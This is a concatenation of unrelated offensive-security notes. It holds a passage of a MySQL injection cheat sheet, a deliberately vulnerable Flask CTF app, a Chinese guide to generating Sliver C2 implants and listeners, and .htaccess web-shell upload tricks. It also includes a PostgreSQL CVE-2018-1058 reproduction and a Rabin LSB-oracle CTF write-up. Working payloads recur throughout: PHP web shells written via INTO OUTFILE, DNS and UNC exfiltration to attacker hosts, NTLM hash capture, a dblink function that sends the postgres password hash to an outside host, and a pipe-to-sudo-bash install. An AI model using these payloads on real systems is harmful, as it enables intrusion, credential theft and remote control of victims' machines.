`LOAD_FILE` using the following query ```sql GRANT FILE ON *.* TO 'root'@'localhost'; FLUSH PRIVILEGES;# ``` ## MYSQL Write a shell ### Into outfile method ```sql [...] UNION SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php" [...] UNION SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo();?>' [...] UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696e666f28293b203f3e into outfile 'C:\\wamp\\www\\pwnd.php'-- - [...] union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php' ``` ### Into dumpfile method ```sql [...] UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPFILE 'C:/Program Files/EasyPHP-12.1/www/shell.php' [...] UNION SELECT 0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/images/shell.php'; ``` ## MYSQL Truncation In MYSQL "`admin `" and "`admin`" are the same. If the username column in the database has a character-limit the rest of the characters are truncated. So if the database has a column-limit of 20 characters and we input a string with 21 characters the last 1 character will be removed. ```sql `username` varchar(20) not null ``` Payload: `username = "admin a"` ## MYSQL Fast Exploitation Requirement: `MySQL >= 5.7.22` Use `json_arrayagg()` instead of `group_concat()` which allows less symbols to be displayed * group_concat() = 1024 symbols * json_arrayagg() > 16,000,000 symbols ```sql SELECT json_arrayagg(concat_ws(0x3a,table_schema,table_name)) from INFORMATION_SCHEMA.TABLES; ``` ## MYSQL UDF command execution First you need to check if the UDF are installed on the server. ```powershell $ whereis lib_mysqludf_sys.so /usr/lib/lib_mysqludf_sys.so ``` Then you can use functions such as `sys_exec` and `sys_eval`. ```sql $ mysql -u root -p mysql Enter password: [...] mysql> SELECT sys_eval('id'); +--------------------------------------------------+ | sys_eval('id') | +--------------------------------------------------+ | uid=118(mysql) gid=128(mysql) groups=128(mysql) | +--------------------------------------------------+ ``` ## MYSQL Out of band ```powershell select @@version into outfile '\\\\192.168.0.100\\temp\\out.txt'; select @@version into dumpfile '\\\\192.168.0.100\\temp\\out.txt ``` ### DNS exfiltration ```sql select load_file(concat('\\\\',version(),'.hacker.site\\a.txt')); select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874)) ``` ### UNC Path - NTLM hash stealing ```sql select load_file('\\\\error\\abc'); select load_file(0x5c5c5c5c6572726f725c5c616263); select 'osanda' into dumpfile '\\\\error\\abc'; select 'osanda' into outfile '\\\\error\\abc'; load data infile '\\\\error\\abc' into table database.table_name; ``` ## References - [MySQL Out of Band Hacking - @OsandaMalith](https://www.exploit-db.com/docs/english/41273-mysql-out-of-band-hacking.pdf) - [[Sqli] Extracting data without knowing columns names - Ahmed Sultan @0x4148](https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/) - [Help по MySql инъекциям - rdot.org](https://rdot.org/forum/showpost.php?p=114&postcount=1) - [SQL Truncation Attack - Warlock](https://resources.infosecinstitute.com/sql-truncation-attack/) - [HackerOne @ajxchapman 50m-ctf writeup - Alex Chapman @ajxchapman](https://hackerone.com/reports/508123) - [SQL Wiki - netspi](https://sqlwiki.netspi.com/injectionTypes/errorBased) - [ekoparty web_100 - 2016/10/26 - p4-team](https://github.com/p4-team/ctf/tree/master/2016-10-26-ekoparty/web_100) - [Websec - MySQL - Roberto Salgado - May 29, 2013.](https://websec.ca/kb/sql_injection#MySQL_Default_Databases)
sec-knowleage
from flask import Flask, render_template, request, render_template_string from pyasn1.codec.ber.decoder import decode from pyasn1.type.univ import OctetString from urllib2 import urlopen from sha4 import hash import string app = Flask(__name__) bad = """ <h2>yo that comment was bad, we couldn't parse it</h2>""" unsafe = """ <h2>that comment decoded to some weird junk</h2>""" comment = """ <h2>Thank you for your SHA-4 feedback. Your comment, %s, is very important to us</h2>""" def is_unsafe(s): for c in s: if c not in (string.ascii_letters + string.digits + " ,.:()?!-_'+=[]\t\n<>"): return True return False @app.route("/") def index(): return render_template("index.html") @app.route("/comments", methods=['POST']) def comments(): try: encoded = request.form['comment'] encoded.replace("\n","\r") ber = encoded.decode("hex") except TypeError: return render_template_string(bad) f = "/var/tmp/comments/%s.txt"%hash(ber).encode("hex") out_text = str(decode(ber)) open(f, "w").write(out_text) if is_unsafe(out_text): return render_template_string(unsafe) commentt = comment % open(f).read() return render_template_string(commentt, comment=out_text.replace("\n","<br/>")) @app.route("/upload", methods=['POST']) def upload(): try: comment = urlopen(request.form['url']).read(1024*1024) open("/var/tmp/comments/%s.file"%hash(comment).encode("hex"), "w").write(comment) return comment except: return render_template_string(bad) if __name__ == "__main__": app.run()
sec-knowleage
# sliver --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **项目地址** - https://github.com/BishopFox/sliver **使用文档** - https://github.com/BishopFox/sliver/wiki **相关文章** - [sliver c2代码的学习](https://x.hacking8.com/post-445.html) --- ## 安装 **官方一条命令版** ```bash # 安装 curl https://sliver.sh/install|sudo bash # 连接(默认连接本地服务器) sliver # 如果默认连接本地失败,可能是服务没有开启,手动开启再连接即可 systemctl start sliver sliver ``` --- ## 使用 连接服务器后会进去到类似 pupy 的命令行交互界面,使用方法其实差不多 sliver 自 1.5 版本开始,支持2种操作模式 `Session Mode`/`Beacon Mode` `Beacon Mode` 实现了一种异步通信方式,在这种方式中,木马程序定期检查服务器检索任务、执行它们并返回结果。 `Session Mode` 木马程序将根据底层 C2 协议使用持久连接或使用长轮询创建交互式实时会话。 ### 生成 shell (http) **Session Mode** ```bash generate -h generate --http example.com --save /tmp # 指定平台 generate --http example.com --save /tmp --os win generate --http example.com --save /tmp --os linux ``` **Beacon Mode** ```bash generate beacon --http example.com --save /tmp ``` **启动监听器** ```bash http -h http --domain example.com # 查看当前的监听器 jobs # 关闭监听器 jobs -k [int] ``` **示例** 比如我服务器的外网 ip 为 1.14.5.14 ,监听器在 1919 端口,生成一个 windows 的木马 ```bash generate --http http://1.14.5.14:1919 --save /tmp --os win # 开启一个基于 http 1919 端口的C2 http -l 1919 ``` ### 生成 shell (mtls) ```bash generate --mtls example.com --save /tmp --os win ``` **启动监听器** ```bash mtls jobs ``` ### 进入 shell 当有主机上线后,控制台会有log提示,我们可以运行 `sessions` 查看可控制的机器列表 ```bash sessions ``` 使用 `use` 后面跟 session id 指定要控制的目标主机 ``` use [session id] ``` 选中 sessions 后,我们可用2种控制模式 **interactive** 交互式会话,在 sliver 中某些命令,例如 `shell` `portfwd` 仅适用于交互式会话 ```bash # 在选中 sessions 后 (仅beacon模式可用) interactive close ``` **shell** ```bash # 在选中 sessions 后 shell ``` ### socks5 - https://github.com/BishopFox/sliver/wiki/Reverse-SOCKS - https://github.com/BishopFox/sliver/tree/master/client/command/socks **开启 socks5 代理** ```bash # 在进入 sessions 后 (仅 session 模式可用) socks5 start # 默认监听在 127.0.0.1 可自行指定监听的ip、端口、配置socks5认证 socks5 start --help ``` **关闭 socks5 代理** ```bash socks5 stop -i [ID] ``` --- ## 多人运动 - https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode **服务端** ```bash /root/sliver-server operator --name f8x --lhost [服务端ip] --save f8x.cfg ``` **用户端** ```bash # 导入服务端生成的配置文件 sliver import ./f8x.cfg # 再次启动会让你选择使用哪个 server sliver ``` ## GUI - https://github.com/BishopFox/sliver-gui 使用和命令行 client 端一样,从服务端下载 cfg 文件导入即可
sec-knowleage
# .htaccess upload Uploading an .htaccess file to override Apache rule and execute PHP. "Hackers can also use “.htaccess” file tricks to upload a malicious file with any extension and execute it. For a simple example, imagine uploading to the vulnerabler server an .htaccess file that has AddType application/x-httpd-php .htaccess configuration and also contains PHP shellcode. Because of the malicious .htaccess file, the web server considers the .htaccess file as an executable php file and executes its malicious PHP shellcode. One thing to note: .htaccess configurations are applicable only for the same directory and sub-directories where the .htaccess file is uploaded." Self contained .htaccess web shell ```python # Self contained .htaccess web shell - Part of the htshell project # Written by Wireghoul - http://www.justanotherhacker.com # Override default deny rule to make .htaccess file accessible over web <Files ~ "^\.ht"> Order allow,deny Allow from all </Files> # Make .htaccess file be interpreted as php file. This occur after apache has interpreted # the apache directoves from the .htaccess file AddType application/x-httpd-php .htaccess ``` ```php ###### SHELL ###### <?php echo "\n";passthru($_GET['c']." 2>&1"); ?> ``` # .htaccess simple php Upload an .htaccess with : `AddType application/x-httpd-php .rce` Then upload any file with `.rce` extension. # .htaccess upload as image If the `exif_imagetype` function is used on the server side to determine the image type, create a `.htaccess/image` polyglot. [Supported image types](http://php.net/manual/en/function.exif-imagetype.php#refsect1-function.exif-imagetype-constants) include [X BitMap (XBM)](https://en.wikipedia.org/wiki/X_BitMap) and [WBMP](https://en.wikipedia.org/wiki/Wireless_Application_Protocol_Bitmap_Format). In `.htaccess` ignoring lines starting with `\x00` and `#`, you can use these scripts for generate a valid `.htaccess/image` polyglot. ```python # create valid .htaccess/xbm image width = 50 height = 50 payload = '# .htaccess file' with open('.htaccess', 'w') as htaccess: htaccess.write('#define test_width %d\n' % (width, )) htaccess.write('#define test_height %d\n' % (height, )) htaccess.write(payload) ``` or ```python # create valid .htaccess/wbmp image type_header = b'\x00' fixed_header = b'\x00' width = b'50' height = b'50' payload = b'# .htaccess file' with open('.htaccess', 'wb') as htaccess: htaccess.write(type_header + fixed_header + width + height) htaccess.write(b'\n') htaccess.write(payload) ``` ## Thanks to * [ATTACKING WEBSERVERS VIA .HTACCESS - By Eldar Marcussen](http://www.justanotherhacker.com/2011/05/htaccess-based-attacks.html) * [Protection from Unrestricted File Upload Vulnerability](https://blog.qualys.com/securitylabs/2015/10/22/unrestricted-file-upload-vulnerability) * [Writeup to l33t-hoster task, Insomnihack Teaser 2019](http://corb3nik.github.io/blog/insomnihack-teaser-2019/l33t-hoster)
sec-knowleage
# PostgreSQL 提权漏洞(CVE-2018-1058) PostgreSQL 是一款关系型数据库。其9.3到10版本中存在一个逻辑错误,导致超级用户在不知情的情况下触发普通用户创建的恶意代码,导致执行一些不可预期的操作。 参考链接: - https://wiki.postgresql.org/wiki/A_Guide_to_CVE-2018-1058:_Protect_Your_Search_Path - https://xianzhi.aliyun.com/forum/topic/2109 ## 漏洞环境 启动存在漏洞的环境: ``` docker compose up -d ``` 环境启动后,将在本地开启PG默认的5432端口。 ## 漏洞复现 参考上述链接中的第二种利用方式,我们先通过普通用户`vulhub:vulhub`的身份登录postgres: `psql --host your-ip --username vulhub` ![](1.png) 执行如下语句后退出: ``` CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$ select dblink_connect((select 'hostaddr=10.0.0.1 port=5433 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres'))); SELECT pg_catalog.array_to_string($1,$2); $$ LANGUAGE SQL VOLATILE; ``` 然后我在`10.0.0.1`上监听5433端口,等待超级用户触发我们留下的这个“后门”。 (假装自己是超级用户)在靶场机器下,用超级用户的身份执行`pg_dump`命令:`docker compose exec postgres pg_dump -U postgres -f evil.bak vulhub`,导出vulhub这个数据库的内容。 执行上述命令的同时,“后门”已被触发,`10.0.0.1`机器上已收到敏感信息: ![](2.png) 上述过程仅是该漏洞的一种利用方法,涉及到机器比较多可能有点乱,建议读者阅读参考链接中的文章,获取更多利用方法。
sec-knowleage
#include <bits/stdc++.h> using namespace std; struct RNG { random_device dev; mt19937_64 rng; RNG() : dev(), rng(dev()) {} RNG(uint64_t seed) : rng(seed) {} bool next_bit() { return rng() & 1; } // For when we want to hide the RNG state uint64_t next_qword_safe() { uint64_t res = 0; for (int i = 0; i < 64; ++i) res |= next_bit() << i; return res; } // For when we don't care about security uint64_t next_qword_fast() { return rng(); } }; using Vector = valarray<uint64_t>; struct Matrix { vector<Vector> elements; Matrix(int rows, int cols) : elements(rows, Vector(cols)) {} auto rows() const { return elements.size(); } auto cols() const { return elements[0].size(); } auto operator*(const Vector& v) const { assert(v.size() == cols()); Vector res(rows()); for (size_t i = 0; i < rows(); ++i) { Vector mul = elements[i] * v; res[i] = accumulate(begin(mul), end(mul), uint64_t{0}); } return res; } void fill(RNG* rng) { for (auto& row : elements) for (auto& x : row) x = rng->next_qword_fast(); } }; constexpr int key_size = 64; void write64(ofstream& o, uint64_t x) { o.write(reinterpret_cast<const char*>(&x), sizeof x); } int main(int argc, const char **argv) { if (argc != 2) { cerr << "Usage: " << argv[0] << " filename" << endl; return EXIT_FAILURE; } string filename(argv[1]); ifstream in(filename, ios::binary); string input; in >> input; Vector plaintext(input.size()); copy(input.begin(), input.end(), begin(plaintext)); // Generate deterministic helper matrix A Matrix A(key_size, plaintext.size()); { RNG rng(0); A.fill(&rng); } // Generate random key Vector key(key_size); { RNG rng; for (auto& x : key) x = rng.next_qword_safe(); } Vector cipher = A * plaintext + key; // Write ciphertext ofstream out(filename + ".enc", ios::binary); write64(out, plaintext.size()); for (auto x : cipher) write64(out, x); // TODO Store key somewhere }
sec-knowleage
## Rabit (Crypto, 175 points, 71 solves) Just give me a bit, the least significant's enough. Just a second we’re not broken, just very, very insecure. Running at rabit.pwning.xxx:7763 ###ENG [PL](#pl-version) We get the [server files](server) so we can analyse the cryptosystem. It turns out that the flag is encrypted with Rabin cryptosystem so if encodes the data as `message^2 mod N`. The server provides us with the `N` modulus value and with the encrypted flag `CT`. We would like to get the value of `PT = sqrt_mod(CT, N)` The server lets us to ask for the least-significant-bit (LSB) of selected decrypted ciphertexts of our choosing. This means that the server acts a `least significant bit oracle` and we need to use this to our advantage. If we send the encrypted flag as input the server will tell us the lowest bit for the plaintext flag, now we just need all the rest. We can exploit this oracle using a binary-search algorithm. It is quite obvious that if we multiply a number by 2 it will become an even number. This means that the LSB will have to be 0 as it's always for even numbers. Now if we perform a modular division by an odd number we can get two possible results: - The number was smaller than the modulus and therefore it is still even and the LSB is 0 - The number was greater than the modulus and therefore it is now odd and the LSB is 1 The N modulus in our case is an odd number, since it's a product of two large primes. This means that if we ask the oracle for the LSB of `2*PT mod N` we will get one of the two possible results: - If LSB is 0 then the number was smaller than modulus and therefore `2*PT < N` which means `PT < N/2` - If LSB is 1 then the number was greater than modulus and therefore `2*PT > N` which means `PT > N/2` Now if we ask for LSB of `4*PT mod N` we can again get one of two possible results - If LSB is 0 then either `4*PT < N` which means `PT < N/4` if `PT < N/2` or `PT < 3*N/4` if `PT > N/2` - If LSB is 1 then either `4*PT > N` which means `PT > N/4` if `PT < N/2` or `PT > 3*N/4` if `PT > N/2` This means that we can get lower and upper bounds for `PT` simply by asking for LSB for PT multiplied by powers of 2. This is exactly binary search algorithm - we are looking for the `PT` value and the oracle tells us if it's bigger or smaller than given number. The server first performs decryption of our input, which means it performs a modular square root on it. So if we want the server to tell us LSB of `2*PT mod N` we need to provide `4*CT` as input since: `sqrt_mod(4*CT, N) = sqrt_mod(4,N)*sqrt_mod(CT,N) = 2*PT mod N` We automate it with a simple script: ```python def oracle(ciphertext, s): print("sent ciphertext " + str(ciphertext)) s.sendall(str(ciphertext) + "\n") data = recvline(s) print("oracle response: " + data) lsb = int(re.findall("lsb is (.*)", data)[0]) return lsb def brute_flag(encrypted_flag, N, socket): flag_lower_bound = 0 flag_upper_bound = N mult = 0 ciphertext = (encrypted_flag * pow(4, mult)) % N while flag_upper_bound > flag_lower_bound: data = s.recv(512) ciphertext = (ciphertext * 4) % N mult += 1 print("main loop: " + data) print("upper = %d" % flag_upper_bound) print("upper flag = %s" % long_to_bytes(flag_upper_bound)) print("lower = %d" % flag_lower_bound) print("lower flag = %s" % long_to_bytes(flag_lower_bound)) print("multiplier = %d" % mult) if oracle(ciphertext, socket) == 0: flag_upper_bound = (flag_upper_bound + flag_lower_bound) / 2 else: flag_lower_bound = (flag_upper_bound + flag_lower_bound) / 2 return flag_upper_bound ``` The script updates the upper and lower bounds for the `PT` value depending on server responses. This way we finally get: ``` main loop: Give a ciphertext: upper = 220166400929873038171224043083387335590015857856801737690673880396419795615547577312678070179481369128029264724566861040868992922377738134245284720456363270069895363821431128690061826490011022637831305626391095236981088399616123236780868219333517868946867381881069203811100413120301449973114417385114578488 upper flag = PCTF{LSB_is_4ll_y0u_ne3d}�MT�Ҵņ�|O�a�.Gȵ�j~R���Rڟ��NL�����o��Z�l����)�A� 8{����Mm�Q1fܛ�H�[���"7���rɭEi�h9��f�.8 lower = 220166400929873038171224043083387335590015857856801737690673855617979183125104747088116187584366205351152315709323988324491729476435566167017734911926070078152771437195128495335458854458923475782666648931612841151096923643810580803048301608534266786867097762790952153653675570921913681095277174947521916134 lower flag = PCTF{LSB_is_4ll_y0u_ne3d}��P6�X�����ꕎ81���e�3�~��ę���4$Pz9��� ���0en"��̥�o�cȢ���.*z��?n�Ƨ>6�o���#���)G�jl� multiplier = 212 sent ciphertext 50250755854349060273600748058347492460054410259628835643065315292422667886974689433086807089032905814811219345716171958732300878077805295946155889286309957357352555060432038801287412773647082525563214208397848831588353216532718958889969188087964218777646467718967423926109023022887010446083219487280951409895 oracle response: lsb is 0 ``` At which point we can stop since we don't really need the rest 800 bits of padding and the flag is: `PCTF{LSB_is_4ll_y0u_ne3d}` ###PL version Dostajemy [pliki serwera](server) więc możemy rozpocząc od analizy kryptosystemu. Okazuje się, że flaga jest szyfrowana kryptosystemem Rabina, czyli szyfruje się poprzez `message^2 mod N`. Serwer podaje nam wartość modulusa `N` oraz wartość zaszyfrowanej flagi `CT`. Chcemy uzyskać wartość `PT = sqrt_mod(CT, N)` Serwer pozwala nam pytać o wartość najniższego bitu plaintextu dla wybranych przez nas ciphertextów. To oznacza że serwer działa jako `wyroczna najniższego bitu` a my mamy to wykorzystać. Jeśli wyślemy zaszyfrowaną flagę jako dane do serwera, serwer powie nam jaki jest najniższy bit odszyfrownej flagi, a teraz potrzebujemy tylko pozostałe bity. Możemy exploitować wyrocznie za pomocą algorytmu poszukiwania binarnego. Jest dość oczywistym, że liczba pomnożona przez 2 będzie zawsze liczbą przystą. To oznacza że LSB będzie zawsze 0. Teraz jeśli wykonamy dzielenie modulo przez liczbe nieparzystą to możemy uzyskać dwa wyniki: - Liczba jest mniejsza niż modulus więc jest nadal parzysta i LSB jest 0 - Liczba jest większa niż modulus więc jest teraz nieparzysta i LSB wynosi 1 Modulus N w naszym przypadku jest nieparzysty bo jest iloczynem dwóch dużych liczb pierwszych. To oznacza że możemy spytać wyrocznie o LSB dla `2*PT mod N` i dostaniemy jedną z dwóch możliwości: - Jeśli LSB jest 0 to znaczy że liczba była mniejsza niż modulus więc `2*PT < N` z czego wynika `PT < N/2` - Jeśli LSB jest 1 to znaczy że liczba była większa niż modulus więc `2*PT > N` z czego wynika `PT > N/2` Jeśli etraz zapytamy o LSB dla `4*PT mod N` znów możemy uzyskać dwie możliwości: - Jeśli LSB jest 0 to albo `4*PT < N` z czego wynika `PT < N/4` jeśli `PT < N/2` lub `PT < 3*N/4` jeśli `PT > N/2` - Jeśli LSB jest 1 to albo `4*PT > N` z czego wynika `PT > N/4` jeśli `PT < N/2` lub `PT > 3*N/4` jeśli `PT > N/2` To oznacza że możemy wyliczyć górne oraz dolne ograniczenie na `PT` pytając wyrocznie o LSB dla PT pomnożonego przez kolejne potęgi 2. To jest dokładnie wyszukiwanie binarne - szukamy liczby `PT` a wyrocznia mówi nam czy jest ona większa czy mniejsza od pewnej liczby. Serwer wykonuje deszyfrowanie danych które wysyłamy, co oznacza że dokonuje na nich pierwiastkowania modularnego. Więc jeśli chcemy aby serwer podał nam LSB `2*PT mod N` to musimy podać jako dane `4*CT` ponieważ: `sqrt_mod(4*CT, N) = sqrt_mod(4,N)*sqrt_mod(CT,N) = 2*PT mod N` Automatyzujemy to prostym skryptem: ```python def oracle(ciphertext, s): print("sent ciphertext " + str(ciphertext)) s.sendall(str(ciphertext) + "\n") data = recvline(s) print("oracle response: " + data) lsb = int(re.findall("lsb is (.*)", data)[0]) return lsb def brute_flag(encrypted_flag, N, socket): flag_lower_bound = 0 flag_upper_bound = N mult = 0 ciphertext = (encrypted_flag * pow(4, mult)) % N while flag_upper_bound > flag_lower_bound: data = s.recv(512) ciphertext = (ciphertext * 4) % N mult += 1 print("main loop: " + data) print("upper = %d" % flag_upper_bound) print("upper flag = %s" % long_to_bytes(flag_upper_bound)) print("lower = %d" % flag_lower_bound) print("lower flag = %s" % long_to_bytes(flag_lower_bound)) print("multiplier = %d" % mult) if oracle(ciphertext, socket) == 0: flag_upper_bound = (flag_upper_bound + flag_lower_bound) / 2 else: flag_lower_bound = (flag_upper_bound + flag_lower_bound) / 2 return flag_upper_bound ``` Skrypt aktualizuje górne oraz dolne ograniczenie dla `PT` w zależności od odpowiedzi serwera W efekcie dostajemy wreszcie: ``` main loop: Give a ciphertext: upper = 220166400929873038171224043083387335590015857856801737690673880396419795615547577312678070179481369128029264724566861040868992922377738134245284720456363270069895363821431128690061826490011022637831305626391095236981088399616123236780868219333517868946867381881069203811100413120301449973114417385114578488 upper flag = PCTF{LSB_is_4ll_y0u_ne3d}�MT�Ҵņ�|O�a�.Gȵ�j~R���Rڟ��NL�����o��Z�l����)�A� 8{����Mm�Q1fܛ�H�[���"7���rɭEi�h9��f�.8 lower = 220166400929873038171224043083387335590015857856801737690673855617979183125104747088116187584366205351152315709323988324491729476435566167017734911926070078152771437195128495335458854458923475782666648931612841151096923643810580803048301608534266786867097762790952153653675570921913681095277174947521916134 lower flag = PCTF{LSB_is_4ll_y0u_ne3d}��P6�X�����ꕎ81���e�3�~��ę���4$Pz9��� ���0en"��̥�o�cȢ���.*z��?n�Ƨ>6�o���#���)G�jl� multiplier = 212 sent ciphertext 50250755854349060273600748058347492460054410259628835643065315292422667886974689433086807089032905814811219345716171958732300878077805295946155889286309957357352555060432038801287412773647082525563214208397848831588353216532718958889969188087964218777646467718967423926109023022887010446083219487280951409895 oracle response: lsb is 0 ``` I możemy tutaj przerwać obliczenia ponieważ nie potrzebujmemy pozostałych 800 bitów paddingu a flaga to: `PCTF{LSB_is_4ll_y0u_ne3d}`
sec-knowleage